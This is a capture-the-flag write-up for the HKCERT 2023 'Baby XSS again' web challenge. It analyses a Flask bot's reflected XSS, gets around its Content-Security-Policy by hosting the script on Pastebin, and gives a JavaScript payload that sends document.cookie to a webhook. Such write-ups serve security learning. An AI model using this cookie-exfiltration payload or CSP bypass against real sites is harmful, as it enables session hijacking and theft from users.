siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Baby XSS again

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Someone complained that XSS challenges are hard. We hear your opinion.

You can inject any external javascript from https://pastebin.com as you like using the src parameter in the query string. Good luck!

Web: http://babyxss-k7ltgk.hkcert23.pwnable.hk:28232?src=https://pastebin.com/xNRmEBhV

Attachment: babyxss-again_a576f2579a020c0d546f8fd2acb33318.zip

Note: There is a guide for this challenge here.

Enumeration

Home page:

In here, we can send an URL to the bot.

There’s not much we can do here…

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/web/Baby-XSS-again)-[2023.11.13|18:31:14(HKT)]
└> file babyxss-again_a576f2579a020c0d546f8fd2acb33318.zip 
babyxss-again_a576f2579a020c0d546f8fd2acb33318.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/HKCERT-CTF-2023/web/Baby-XSS-again)-[2023.11.13|18:31:14(HKT)]
└> unzip babyxss-again_a576f2579a020c0d546f8fd2acb33318.zip  
Archive:  babyxss-again_a576f2579a020c0d546f8fd2acb33318.zip
   creating: bot/
  inflating: bot/Dockerfile          
  inflating: bot/server.py           
  inflating: docker-compose.yml      

In the bot/server.py, we can see that this web application is written in Python’s Flask web application framework.

In GET route /, we can see there’s a reflected XSS vulnerability:

[...]
@app.route("/", methods=["GET", "POST"])
def index():
  if request.method == "POST" and request.remote_addr != "127.0.0.1":
    [...]
  else:
    out = """<html>
  <head>
    <title>XSS Bot - %s</title>
    <meta http-equiv="Content-Security-Policy" content="script-src https://hcaptcha.com https://*.hcaptcha.com https://pastebin.com">
    <script src="https://js.hcaptcha.com/1/api.js" async defer></script>
  </head>
  <body>
    <h1>XSS Bot - %s</h1>
    <form method="POST">
      <table>
      <tr>
        <td>URL</td>
        <td>
          <input name="url" size="70" />
        </td>
      </tr>
      </table>
      <div class="h-captcha" data-sitekey="%s"></div>
      <input type="submit" />
    </form>
  </body>
</html>""" % (chal["title"],chal["title"],H_SITEKEY)
    if "babyxss" in request.host:
      out += """<script src="%s"></script>""" % request.args.get("src", "http://example.com/")
    return out
[...]

In the above template string, we can control the src GET parameter, and it doesn’t get sanitized/encoded/filtered.

With that said, we can load whatever JavaScript from any origin, right?

Oh, wait a minute. There’s a CSP (Content Security Policy) in the <meta> tag!

script-src https://hcaptcha.com https://*.hcaptcha.com https://pastebin.com

In this CSP, it has a script-src directive, which means it specifies which sources are allowed for JavaScript.

So, which sources that the CSP specified?

https://hcaptcha.com
https://*.hcaptcha.com
https://pastebin.com

As you can see, all domain hcaptcha.com and its subdomains are able to load JavaScript in this web application.

However, there’s 1 more very interesting source: https://pastebin.com.

If you don’t know what’s Pastebin, it’s basically allows users to host/store some texts in their platform.

Ah ha! We can host our own evil JavaScript payload on Pastebin!

But wait, what can we do with the payload?

In POST route /, we can see what the bot does:

[...]
@app.route("/", methods=["GET", "POST"])
def index():
  if request.method == "POST" and request.remote_addr != "127.0.0.1":
    if "url" not in request.form or request.form.get("url") == "":
      return "Please enter a URL"
    [...hCaptcha_stuff...]
    try:
      [...hCaptcha_stuff...]
      return visit(request.form.get("url"))
    except Exception as e:
      return str(e)
    if '"success":true' not in fetch:
      return "hCaptcha is broken"
  else:
    out = """<html>
  [...]

When we send a POST request to /, it’ll trigger the web application to call function visit() with argument url:

[...]
chal = {
  "title": "Baby XSS again",
  "domain": os.getenv("HOSTNAME","localhost:3000"),
  "flag": os.getenv("FLAG", "fakeflag{}"),
  "sleep": 1,
}

def visit(url):
  chrome_options = webdriver.ChromeOptions()
  chrome_options.add_argument("--disable-gpu")
  chrome_options.add_argument("--headless")
  chrome_options.add_argument("--no-sandbox")
  driver = webdriver.Chrome(options=chrome_options)
  try:
    driver.get("http://"+chal["domain"]+"/robots.txt?url="+quote_plus(url))
    driver.add_cookie({"name": "flag", "value": chal["flag"]})
    driver.get("about:blank")
    driver.get(url)
    time.sleep(chal["sleep"])
    return "Your URL has been visited by the "+chal["title"]+" bot.";
  except Exception as e:
    print(url, flush=True)
    print(e, flush=True)
    return "The "+chal["title"]+" bot did not handle your URL properly."
  finally:
    driver.quit()
[...]

The visit() function will launch a headless (no GUI) Chrome browser, and then it’ll:

  1. Add a new cookie with key flag, and the flag value
  2. Go to our POST parameter’s url URL

That being said, the flag is being stored in the flag cookie!

Exploitation

Armed with above information, let’s host a JavaScript payload on Pastebin!

The payload we’re gonna use is:

const WEBHOOK_URL = "<your_webhook_URL>";
var cookies = document.cookie;
navigator.sendBeacon(WEBHOOK_URL, cookies);

This payload will send a POST request to our webhook URL with all the cookies.

Now, go to https://pastebin.com/:

Then, copy and paste our payload to the new paste:

Note: I’m using requestrepo as the webhook URL.

Next, scroll down a little bit and click “Create New Paste”:

Now, we can copy and paste our Pastebin URL to the bot.

But before we do that, it’s important to test the payload before sending it.

To do so, we can provide a GET parameter src in the challenge’s web application:

However, it should failed.

To understand why, we need to open our development tools, and view the “Console” tab:

As you can see, it has the following error:

The resource from “https://pastebin.com/HCUemL4g” was blocked due to MIME type (“text/html”) mismatch (X-Content-Type-Options: nosniff).

Hmm… Looks like our Pastebin URL got blocked because the MIME type (text/html) mismatched.

This is because our modern browser checks the Content-Type header of the embedded file. In our case, it’s text/plain, which will not be executed as JavaScript.

To solve this problem, we can use the “download” version:

Now the Pastebin will use the text/html MIME type!

And our webhook received a POST HTTP request!

To get the flag, we’ll need to send the URL to the bot: http://babyxss-k7ltgk.hkcert23.pwnable.hk:28232/?src=<pastebin_URL>

Conclusion

What we’ve learned:

  1. Exploiting reflected XSS & CSP bypass using Pastebin